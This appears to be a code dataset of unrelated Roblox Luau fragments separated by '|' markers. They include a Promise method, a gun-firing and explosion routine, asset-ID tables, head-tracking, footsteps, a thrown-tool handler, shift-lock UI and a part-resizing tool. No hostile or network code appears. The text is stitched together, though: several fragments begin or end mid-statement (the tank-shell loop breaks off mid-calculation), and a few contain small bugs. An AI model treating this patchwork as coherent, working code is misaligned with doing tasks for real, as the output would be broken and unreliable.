successCallback(unpack(self._values, 1, self._valuesLength))
elseif self._status == Promise.Status.Rejected then
-- This promise died a terrible death! Trigger failure immediately.
failureCallback(unpack(self._values, 1, self._valuesLength))
elseif self._status == Promise.Status.Cancelled then
-- We don't want to call the success handler or the failure handler,
-- we just reject this promise outright.
reject(Error.new({
error = "Promise is cancelled",
kind = Error.Kind.AlreadyCancelled,
context = "Promise created at\n\n" .. traceback,
}))
end
end, self)
end
function Promise.prototype:andThen(successHandler, failureHandler)
assert(
successHandler == nil or type(successHandler) == "function",
string.format(ERROR_NON_FUNCTION, "Promise:andThen")
)
assert(
failureHandler == nil or type(failureHandler) == "function",
string.format(ERROR_NON_FUNCTION, "Promise:andThen")
)
return self:_andThen(debug.traceback(nil, 2), successHandler, failureHandler)
end
|
--[[--------------------------------------------------------------------
-- nodes for block list (list of active blocks)
-- struct BlockCnt:
-- previous -- chain (table: BlockCnt)
-- breaklist -- list of jumps out of this loop
-- nactvar -- # active local variables outside the breakable structure
-- upval -- true if some variable in the block is an upvalue (boolean)
-- isbreakable -- true if 'block' is a loop (boolean)
----------------------------------------------------------------------]] | |
--------------------[ FIRING FUNCTIONS ]---------------------------------------------- |
function Fire_Gun()
local FireSound = Handle:FindFirstChild("FireSound")
local FlashGui = Main:FindFirstChild("FlashGui")
local FlashFX = Main:FindFirstChild("FlashFX")
if FireSound then FireSound:Play() end
local MockSpread = (
((not Aimed) and CurrentSpread <= S.Spread.Max and Idleing)
and CurrentSpread * S.Spread.Multiplier or CurrentSpread
)
CurrentSpread = (MockSpread >= S.Spread.Max and S.Spread.Max or MockSpread)
----------------------------------------------------------------------------------
for _ = 1, (S.GunType.Shot and S.ShotAmount or 1) do
local BSpread = CFANG(
RAD(RAND(-CurrentSpread, CurrentSpread) / 20),
RAD(RAND(-CurrentSpread, CurrentSpread) / 20),
RAD(RAND(-CurrentSpread, CurrentSpread) / 20)
)
local OriginCF = (Aimed and (S.GuiScope and Head.CFrame or Handle.CFrame) or Head.CFrame)
local OriginPos = Main.CFrame.p
local Direction = (CF(OriginCF.p, OriginCF.p + OriginCF.lookVector) * BSpread).lookVector
if S.InstantHit then
local HitObj, HitPos = AdvRayCast(Main.CFrame.p, Direction, S.BulletRange)
local HitHumanoid = nil
if HitObj then
if S.GunType.Explosive then
if S.ExplosionSound ~= "" then
local SoundPart = Instance.new("Part")
SoundPart.Transparency = 1
SoundPart.Anchored = true
SoundPart.CanCollide = false
SoundPart.CFrame = CFrame.new(HitPos)
SoundPart.Parent = game.Workspace
local Sound = Instance.new("Sound")
Sound.Pitch = S.ExplosionSoundPitch
Sound.SoundId = S.ExplosionSound
Sound.Volume = S.ExplosionSoundVolume
Sound.Parent = SoundPart
Sound:Play()
delay(1 / 20, function()
SoundPart:Destroy()
end)
end
CreateBulletHole(HitPos, HitObj)
CreateShockwave(HitPos, S.ExplosionRadius)
local E = Instance.new("Explosion")
E.BlastPressure = S.ExplosionPressure
E.BlastRadius = S.ExplosionRadius
E.DestroyJointRadiusPercent = (S.RangeBasedDamage and 0 or 1)
E.ExplosionType = S.ExplosionType
E.Position = HitPos
E.Hit:connect(function(HObj, HDist)
if HObj.Name == "Torso" and (not HObj:IsDescendantOf(Character)) then
if S.RangeBasedDamage then
local Dir = (HObj.Position - HitPos).unit
local H, P = AdvRayCast(HitPos - Dir, Dir, 999)
local RayHitHuman = H:IsDescendantOf(HObj.Parent)
if (S.RayCastExplosions and RayHitHuman) or (not S.RayCastExplosions) then
local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
local DistFactor = HDist / S.ExplosionRadius
local DistInvert = math.max(1 - DistFactor,0)
local NewDamage = DistInvert * S.Damage
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Value = Player
CreatorTag.Name = "creator"
CreatorTag.Parent = HitHumanoid
HitHumanoid:TakeDamage(NewDamage)
MarkHit()
end
end
else
local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Value = Player
CreatorTag.Name = "creator"
CreatorTag.Parent = HitHumanoid
MarkHit()
end
end
end
end)
E.Parent = game.Workspace
else
HitHumanoid = Damage(HitObj, HitPos)
end
end
local FinalHitPos = HitPos
if S.Penetration > 0 and (not S.GunType.Explosive) then
FinalHitPos = PenetrateWall(HitPos, Direction, HitHumanoid, OriginPos)
end
if S.BulletTrail and S.TrailTransparency ~= 1 then
local Trail = Instance.new("Part")
Trail.BrickColor = S.TrailColor
Trail.Transparency = S.TrailTransparency
Trail.Anchored = true
Trail.CanCollide = false
Trail.Size = VEC3(1, 1, 1)
local Mesh = Instance.new("BlockMesh")
Mesh.Offset = VEC3(0, 0, -(FinalHitPos - OriginPos).magnitude / 2)
Mesh.Scale = VEC3(S.TrailThickness, S.TrailThickness, (FinalHitPos - OriginPos).magnitude)
Mesh.Parent = Trail
Trail.Parent = Gun_Ignore
Trail.CFrame = CF(OriginPos, FinalHitPos)
delay(S.TrailVisibleTime, function()
if S.TrailDisappearTime > 0 then
local X = 0
while true do
if X == 90 then break end
if (not Selected) then break end
local NewX = X + (1.5 / S.TrailDisappearTime)
X = (NewX > 90 and 90 or NewX)
local Alpha = X / 90
Trail.Transparency = NumLerp(S.TrailTransparency, 1, Alpha)
RS:wait()
end
Trail:Destroy()
else
Trail:Destroy()
end
end)
end
else
local Bullet = CreateBullet(Direction)
local LastPos = Main.CFrame.p
local TotalDistTraveled = 0
local HitHumanoid = nil
spawn(function()
while true do
RS:wait()
if TotalDistTraveled >= S.BulletRange then
Bullet:Destroy()
break
end
local DistTraveled = (Bullet.Position - LastPos).magnitude
local HitObj, HitPos = AdvRayCast(LastPos, (Bullet.Position - LastPos).unit, DistTraveled)
if HitObj then
if S.GunType.Explosive then
if S.ExplosionSound ~= "" then
local Sound = Instance.new("Sound")
Sound.Pitch = S.ExplosionSoundPitch
Sound.SoundId = S.ExplosionSound
Sound.Volume = S.ExplosionSoundVolume
Sound.Parent = Bullet
Sound:Play()
end
CreateBulletHole(HitPos, HitObj)
CreateShockwave(HitPos, S.ExplosionRadius)
local E = Instance.new("Explosion")
E.BlastPressure = S.ExplosionPressure
E.BlastRadius = S.ExplosionRadius
E.DestroyJointRadiusPercent = (S.RangeBasedDamage and 0 or 1)
E.ExplosionType = S.ExplosionType
E.Position = HitPos
E.Hit:connect(function(HObj, HDist)
if HObj.Name == "Torso" and (not HObj:IsDescendantOf(Character)) then
if S.RangeBasedDamage then
local Dir = (HObj.Position - HitPos).unit
local H, P = AdvRayCast(HitPos - Dir, Dir, 999)
local RayHitHuman = H:IsDescendantOf(HObj.Parent)
if (S.RayCastExplosions and RayHitHuman) or (not S.RayCastExplosions) then
local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
local DistFactor = HDist / S.ExplosionRadius
local DistInvert = math.max(1 - DistFactor,0)
local NewDamage = DistInvert * S.Damage
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Value = Player
CreatorTag.Name = "creator"
CreatorTag.Parent = HitHumanoid
HitHumanoid:TakeDamage(NewDamage)
MarkHit()
end
end
else
local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Value = Player
CreatorTag.Name = "creator"
CreatorTag.Parent = HitHumanoid
MarkHit()
end
end
end
end)
E.Parent = game.Workspace
else
HitHumanoid = Damage(HitObj, HitPos)
end
if S.Penetration > 0 and (not S.GunType.Explosive) then
PenetrateWall(HitPos, (Bullet.Position - LastPos).unit, HitHumanoid, OriginPos, Bullet)
else
Bullet:Destroy()
end
break
else
LastPos = Bullet.Position
TotalDistTraveled = TotalDistTraveled + DistTraveled
end
end
end)
if S.BulletTrail and S.TrailTransparency ~= 1 then
spawn(function()
local LastPos2 = nil
while true do
if LastPos2 then
if (not Bullet:IsDescendantOf(game)) then break end
Bullet.CFrame = CFrame.new(Bullet.CFrame.p, Bullet.CFrame.p + Bullet.Velocity)
local Trail = Instance.new("Part")
Trail.BrickColor = S.TrailColor
Trail.Transparency = S.TrailTransparency
Trail.Anchored = true
Trail.CanCollide = false
Trail.Size = VEC3(1, 1, 1)
local Mesh = Instance.new("BlockMesh")
Mesh.Offset = VEC3(0, 0, -(Bullet.Position - LastPos2).magnitude / 2)
Mesh.Scale = VEC3(S.TrailThickness, S.TrailThickness, (Bullet.Position - LastPos2).magnitude)
Mesh.Parent = Trail
Trail.Parent = Gun_Ignore
Trail.CFrame = CF(LastPos2, Bullet.Position)
delay(S.TrailVisibleTime, function()
if S.TrailDisappearTime > 0 then
local X = 0
while true do
if X == 90 then break end
if (not Selected) then break end
local NewX = X + (1.5 / S.TrailDisappearTime)
X = (NewX > 90 and 90 or NewX)
local Alpha = X / 90
Trail.Transparency = NumLerp(S.TrailTransparency, 1, Alpha)
RS:wait()
end
Trail:Destroy()
else
Trail:Destroy()
end
end)
LastPos2 = Bullet.Position
else
LastPos2 = Main.CFrame.p
end
RS:wait()
end
end)
end
end
end
----------------------------------------------------------------------------------
local RecoilX = RAD(CurrentRecoil * RAND(1, 1.5, 0.1)) * StanceSway
local RecoilY = RAD(CurrentRecoil * RAND(-2, 2, 0.1)) * StanceSway
RotCamera(RecoilX, RecoilY, true, 0.06)
delay(0.05, function()
RotCamera(-RecoilX / 5, -RecoilY / 5, true, 0.1)
end)
if Idleing and (not Walking) and (not Aimed) then
local SpreadScale = (CurrentSpread / S.Spread.Max) * 50
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 70 + 2 * SpreadScale, 0, 70 + 2 * SpreadScale),
UDim2.new(0, -35 - SpreadScale, 0, -35 - SpreadScale),
"Out", "Linear", 0.1, true
)
end
local KickSide = (
(
{
CurrentRecoil * (RAND(1, 5, 1) / 150);
CurrentRecoil * (RAND(1, 5, 1) / -150)
}
)[math.random(1, 2)]
) * StanceSway
local KickBack = CurrentRecoil * StanceSway * 0.3
local KickUp = RAD(90 + (CurrentRecoil * RAND(1.3, 1.4, 0.01) * StanceSway))
TweenJoint(AnimWeld, CF(KickSide, 1, -KickBack), CFANG(KickUp - RAD(90), 0, 0), Linear, 1 / 12)
if FlashFX then FlashFX.Enabled = true end
if FlashGui then
FlashGui.Enabled = true
FlashGui.Label.Rotation = RAND(0, 360)
end
delay(1 / 30, function()
if Idleing and (not Walking) and (not Aimed) then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 70, 0, 70),
UDim2.new(0, -35, 0, -35),
"Out", "Linear", S.AimSpeed, (not Aimed)
)
end
if (not Aiming) and (not RunTween) then
TweenJoint(AnimWeld, CF(0, 1, 0), CF(), Linear, 0.15)
end
if FlashFX then FlashFX.Enabled = false end
if FlashGui then FlashGui.Enabled = false end
end)
end
function MarkHit()
spawn(function()
if Gui_Clone:IsDescendantOf(game) then
Gui_Clone.HitMarker.Visible = true
local StartMark = tick()
LastMark = StartMark
wait(0.5)
if LastMark <= StartMark then
Gui_Clone.HitMarker.Visible = false
end
end
end)
end
|
--// Tables |
local L_98_ = {
"285421759";
"151130102";
"151130171";
"285421804";
"287769483";
"287769415";
"285421687";
"287769261";
"287772525";
"287772445";
"287772351";
"285421819";
"287772163";
}
local L_99_ = {
"2282590559";
"2282583154";
"2282584222";
"2282584708";
"2282585118";
"2282586860";
"2282587182";
"2282587628";
"2282588117";
"2282588433";
"2282576973";
"2282577954";
"2282578595";
"2282579272";
"2282579760";
"2282580279";
"2282580551";
"2282580935";
"2282582377";
"2282582717";
"2282449653";
}
local L_100_ = {
"2297264589";
"2297264920";
"2297265171";
"2297265394";
"2297266410";
"2297266774";
"2297267106";
"2297267463";
"2297267748";
"2297268261";
"2297268486";
"2297268707";
"2297268894";
"2297269092";
"2297269542";
"2297269946";
"2297270243";
"2297270591";
"2297270984";
"2297271381";
"2297271626";
"2297272112";
"2297272424";
}
local L_101_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace)
L_101_.Name = "BulletModel: " .. L_2_.Name
local L_102_
local L_103_ = L_24_.Ammo
local L_104_ = L_24_.StoredAmmo * L_24_.MagCount
local L_105_ = L_24_.ExplosiveAmmo
IgnoreList = {
L_3_,
L_101_,
L_5_
}
|
-- declarations |
local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
|
--Loop For Making Rays For The Bullet's Trajectory |
for i = 1, 30 do
local thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0)
local travelRay = Ray.new(point1,thisOffset)
local hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)
local distance = (position - point1).magnitude
round.Size = Vector3.new(0.6, distance, 0.6)
round.CFrame = CFrame.new(position, point1)
* CFrame.new(0, 0, -distance/2)
* CFrame.Angles(math.rad(90),0,0)
round.Parent = workspace
point1 = point1 + thisOffset
if hit then
round:remove()
local e = Instance.new("Explosion")
e.BlastRadius = 6
e.BlastPressure = 1600
e.Position = position
e.Parent = workspace
e.ExplosionType = Enum.ExplosionType.NoCraters
e.DestroyJointRadiusPercent = 1
local players = game.Players:getChildren()
for i = 1, #players do
if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally
character = players[i].Character
if character then
torso = character:findFirstChild'Torso'
if torso then
torsoPos = torso.Position
origPos = round.Position
local ray = Ray.new(origPos, torsoPos-origPos)
local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)
if hit then
if hit.Parent == character then
human = hit.Parent:findFirstChild("Humanoid")
if human then
distance = (position-origPos).magnitude |
-- Activation]: |
if TurnCharacterToMouse == true then
MseGuide = true
HeadHorFactor = 0
BodyHorFactor = 0
end
game:GetService("RunService").RenderStepped:Connect(function()
local CamCF = Cam.CoordinateFrame
if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[Check for the Torso and Head...]
local TrsoLV = Trso.CFrame.lookVector
local HdPos = Head.CFrame.p
if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.]
if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
local Dist = nil;
local Diff = nil;
if not MseGuide then --[If not tracking the Mouse then get the Camera.]
Dist = (Head.CFrame.p-CamCF.p).magnitude
Diff = Head.CFrame.Y-CamCF.Y
if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else --[R15s actually have the properly oriented Neck CFrame.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2)
end
else
local Point = Mouse.Hit.p
Dist = (Head.CFrame.p-Point).magnitude
Diff = Head.CFrame.Y-Point.Y
if not IsR6 then
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2)
end
end
end
end
end
if TurnCharacterToMouse == true then
Hum.AutoRotate = false
Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2)
else
Hum.AutoRotate = true
end
end)
|
-- скрипт отслеживания построек |
local Players = game:GetService("Players")
local ServerScriptService = game:GetService("ServerScriptService") -- подключение серверных скриптов
local DataStore2 = require(ServerScriptService.DataStore2) -- подключение модуля DataStore2
BaseName = game.Workspace.BaseName.Value -- чтение имени базы данных
local GWP = game.Workspace.WorldPlayers --
local player = Players:FindFirstChild(script.Parent.Parent.Name)
me = script.Parent
|
-- Set both mobile touch gui and control |
function GuiController:setMobileTouchGuiEnabled(mobileTouchGuiEnabled: boolean)
self.UserInputService.ModalEnabled = not mobileTouchGuiEnabled
-- Update player controls since ModalEnabled doesn't update player control
self:setPlayerControlsEnabled(mobileTouchGuiEnabled)
end
|
--------------------------------------------------------------------- |
local CFrameUtility = {}
function CFrameUtility.Encode( cframe: CFrame ): string?
return HttpService:JSONEncode( cframe:GetComponents() )
end
function CFrameUtility.Decode( jsonTable: string ): CFrame?
return CFrame.new( unpack(HttpService:JSONDecode(jsonTable)) )
end
return CFrameUtility
|
--[Pre-Funcs]: |
local Ang = CFrame.Angles --[Storing these as variables so I dont have to type them out.]
local aSin = math.asin
local aTan = math.atan
|
-- print("Loading anims " .. name) |
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight |
-- / Configuration / -- |
local Configuration = script.Configuration
|
-- Get references to the DockShelf and its children |
local fldr = script.Parent.Parent
local Pop = script.Parent.Parent.Parent.Popular
local Trcks = script.Parent.Parent.Parent.Tracks
local Serch = script.Parent.Parent.Parent.SearchTracks
local SerchVal = script.Parent.Parent.Parent.SearchActive
local btn = script.Parent
local function toggleWindow()
if SerchVal.Value == true then
-- Close the window by tweening back to the button position and size
fldr:TweenSizeAndPosition(
UDim2.new(1, 0, 0.022, 0),
UDim2.new(0.0,0,0.978,0),
'Out',
'Quad',
0.4,
false,
function()
fldr.Visible = false
Pop.Visible = false
Trcks.Visible = false
Serch.Visible = true
end
)
elseif SerchVal.Value == false then
fldr:TweenSizeAndPosition(
UDim2.new(1, 0, 0.022, 0),
UDim2.new(0.0,0,0.978,0),
'Out',
'Quad',
0.4,
false,
function()
fldr.Visible = false
Pop.Visible = true
Trcks.Visible = true
Serch.Visible = false
end
)
end
end
|
-- DO NOT MESS WITH THE SCRIPT UNLESS YOU KNOW WHAT YOU'RE DOING!
-- DO NOT CHANGE FOOTSTEPS SCRIPT NAME OR IT WONT WORK. |
game.Players.ChildAdded:connect(function(plr)
plr.CharacterAdded:connect(function(char)
if plr.ClassName == "Player" then
if plr.Character:FindFirstChild("Sound") then
plr.Character:FindFirstChild("Sound"):remove()
else
return
end
local footsteps = script.FootSteps:clone()
footsteps.Parent = plr.Character
footsteps.Disabled = false
else
return
end
end)
end)
|
--returns the wielding player of this tool |
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
Tool.Handle.Part.Transparency = 1
local Object = Tool.Handle:Clone()
Object.Parent = workspace
Object.Part.Transparency = 0
Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "creator"
tag.Parent = Object
end
PowerRemote.OnServerEvent:Connect(function(player, Power)
local holder = getPlayer()
if holder ~= player then return end
AttackVelocity = Power
end)
TossRemote.OnServerEvent:Connect(function(player, mousePosition)
local holder = getPlayer()
if holder ~= player then return end
if Cooldown.Value == true then return end
Cooldown.Value = true
local holder = getPlayer()
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
Toss(lookAt)
task.wait(CooldownTime)
Cooldown.Value = false
end)
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
--[[ Local Functions ]] | --
local function onShiftLockToggled()
IsShiftLocked = not IsShiftLocked
if IsShiftLocked then
ShiftLockIcon.Image = SHIFT_LOCK_ON
Mouse.Icon = SHIFT_LOCK_CURSOR
else
ShiftLockIcon.Image = SHIFT_LOCK_OFF
Mouse.Icon = ""
end
ShiftLockController.OnShiftLockToggled:Fire()
end
local function initialize()
if ScreenGui then
ScreenGui:Destroy()
ScreenGui = nil
end
ScreenGui = Instance.new('ScreenGui')
ScreenGui.Name = "ControlGui"
local frame = Instance.new('Frame')
frame.Name = "BottomLeftControl"
frame.Size = UDim2.new(0, 130, 0, 46)
frame.Position = UDim2.new(0, 0, 1, -46)
frame.BackgroundTransparency = 1
frame.Parent = ScreenGui
ShiftLockIcon = Instance.new('ImageButton')
ShiftLockIcon.Name = "MouseLockLabel"
ShiftLockIcon.Size = UDim2.new(0, 62, 0, 62)
ShiftLockIcon.Position = UDim2.new(0, 2, 0, -65)
ShiftLockIcon.BackgroundTransparency = 1
ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF
ShiftLockIcon.Visible = IsShiftLockMode
ShiftLockIcon.Parent = frame
ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled)
ScreenGui.Parent = PlayerGui
end
|
-- Axis names corresponding to each face |
local FaceAxisNames = {
[Enum.NormalId.Top] = 'Y';
[Enum.NormalId.Bottom] = 'Y';
[Enum.NormalId.Front] = 'Z';
[Enum.NormalId.Back] = 'Z';
[Enum.NormalId.Left] = 'X';
[Enum.NormalId.Right] = 'X';
};
function ShowHandles()
-- Creates and automatically attaches handles to the currently focused part
-- Autofocus handles on latest focused part
if not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:Connect(ShowHandles);
end;
-- If handles already exist, only show them
if ResizeTool.Handles then
ResizeTool.Handles:SetAdornee(Selection.Focus)
return
end
local AreaPermissions
local function OnHandleDragStart()
-- Prepare for resizing parts when the handle is clicked
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate resizing via handles
HandleResizing = true;
-- Stop parts from moving, and capture the initial state of the parts
InitialState = PreparePartsForResizing();
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
end;
end
local function OnHandleDrag(Face, Distance)
-- Update parts when the handles are moved
-- Only resize if handle is enabled
if not HandleResizing then
return;
end;
-- Calculate the increment-aligned drag distance
Distance = GetIncrementMultiple(Distance, ResizeTool.Increment);
-- Resize the parts on the selected faces by the calculated distance
local Success, Adjustment = ResizePartsByFace(Face, Distance, ResizeTool.Directions, InitialState);
-- If the resizing did not succeed, resize according to the suggested adjustment
if not Success then
ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState);
end;
-- Update the "studs resized" indicator
if ResizeTool.UI then
ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(math.abs(Adjustment or Distance), 3) .. ' studs';
end;
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
end
local function OnHandleDragEnd()
if not HandleResizing then
return
end
-- Disable resizing
HandleResizing = false;
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Make joints, restore original anchor and collision states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end
-- Create the handles
local Handles = require(Libraries:WaitForChild 'Handles')
ResizeTool.Handles = Handles.new({
Color = ResizeTool.Color.Color,
Parent = Core.UIContainer,
Adornee = Selection.Focus,
OnDragStart = OnHandleDragStart,
OnDrag = OnHandleDrag,
OnDragEnd = OnHandleDragEnd
})
end;
function HideHandles()
-- Hides the resizing handles
-- Make sure handles exist and are visible
if not ResizeTool.Handles then
return;
end;
-- Hide the handles
ResizeTool.Handles = ResizeTool.Handles:Destroy()
-- Clear unnecessary resources
ClearConnection 'AutofocusHandle';
end;
function ResizePartsByFace(Face, Distance, Directions, InitialStates)
-- Resizes the selection on face `Face` by `Distance` studs, in the given `Directions`
-- Adjust the size increment to the resizing direction mode
if Directions == 'Both' then
Distance = Distance * 2;
end;
-- Calculate the increment vector for this resizing
local AxisSizeMultiplier = AxisSizeMultipliers[Face];
local IncrementVector = Distance * AxisSizeMultiplier;
-- Get name of axis the resize will occur on
local AxisName = FaceAxisNames[Face];
-- Check for any potential undersizing or oversizing
local ShortestSize, ShortestPart, LongestSize, LongestPart;
for Part, InitialState in pairs(InitialStates) do
-- Calculate target size for this resize
local TargetSize = InitialState.Size[AxisName] + Distance;
-- If target size is under 0.05, note if it's the shortest size
if TargetSize < 0.049999 and (not ShortestSize or (ShortestSize and TargetSize < ShortestSize)) then
ShortestSize, ShortestPart = TargetSize, Part;
-- If target size is over 2048, note if it's the longest size
elseif TargetSize > 2048 and (not LongestSize or (LongestSize and TargetSize > LongestSize)) then
LongestSize, LongestPart = TargetSize, Part;
end;
end;
-- Return adjustment for undersized parts (snap to lowest possible valid increment multiple)
if ShortestSize then
local InitialSize = InitialStates[ShortestPart].Size[AxisName];
local TargetSize = InitialSize - ResizeTool.Increment * tonumber((tostring((InitialSize - 0.05) / ResizeTool.Increment):gsub('%..+', '')));
return false, Distance + TargetSize - ShortestSize;
end;
-- Return adjustment for oversized parts (snap to highest possible valid increment multiple)
if LongestSize then
local TargetSize = ResizeTool.Increment * tonumber((tostring(2048 / ResizeTool.Increment):gsub('%..+', '')));
return false, Distance + TargetSize - LongestSize;
end;
-- Resize each part
for Part, InitialState in pairs(InitialStates) do
-- Perform the size change depending on shape
if Part:IsA 'Part' then
-- Resize spheres on all axes
if Part.Shape == Enum.PartType.Ball then
Part.Size = InitialState.Size + Vector3.new(Distance, Distance, Distance);
-- Resize cylinders on both Y & Z axes for circle sides
elseif Part.Shape == Enum.PartType.Cylinder and AxisName ~= 'X' then
Part.Size = InitialState.Size + Vector3.new(0, Distance, Distance);
-- Resize block parts and cylinder lengths normally
else
Part.Size = InitialState.Size + IncrementVector;
end;
-- Perform the size change normally on all other parts
else
Part.Size = InitialState.Size + IncrementVector;
end;
-- Offset the part when resizing in the normal, one direction
if Directions == 'Normal' then
Part.CFrame = InitialState.CFrame * CFrame.new(AxisPositioningMultipliers[Face] * Distance / 2);
-- Keep the part centered when resizing in both directions
elseif Directions == 'Both' then
Part.CFrame = InitialState.CFrame;
end;
end;
-- Indicate that the resizing happened successfully
return true;
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the current directions mode
if ResizeTool.Directions == 'Normal' then
SetDirections('Both');
elseif ResizeTool.Directions == 'Both' then
SetDirections('Normal');
end;
-- Nudge up if the 8 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then
NudgeSelectionByFace(Enum.NormalId.Top);
-- Nudge down if the 2 button on the keypad is pressed
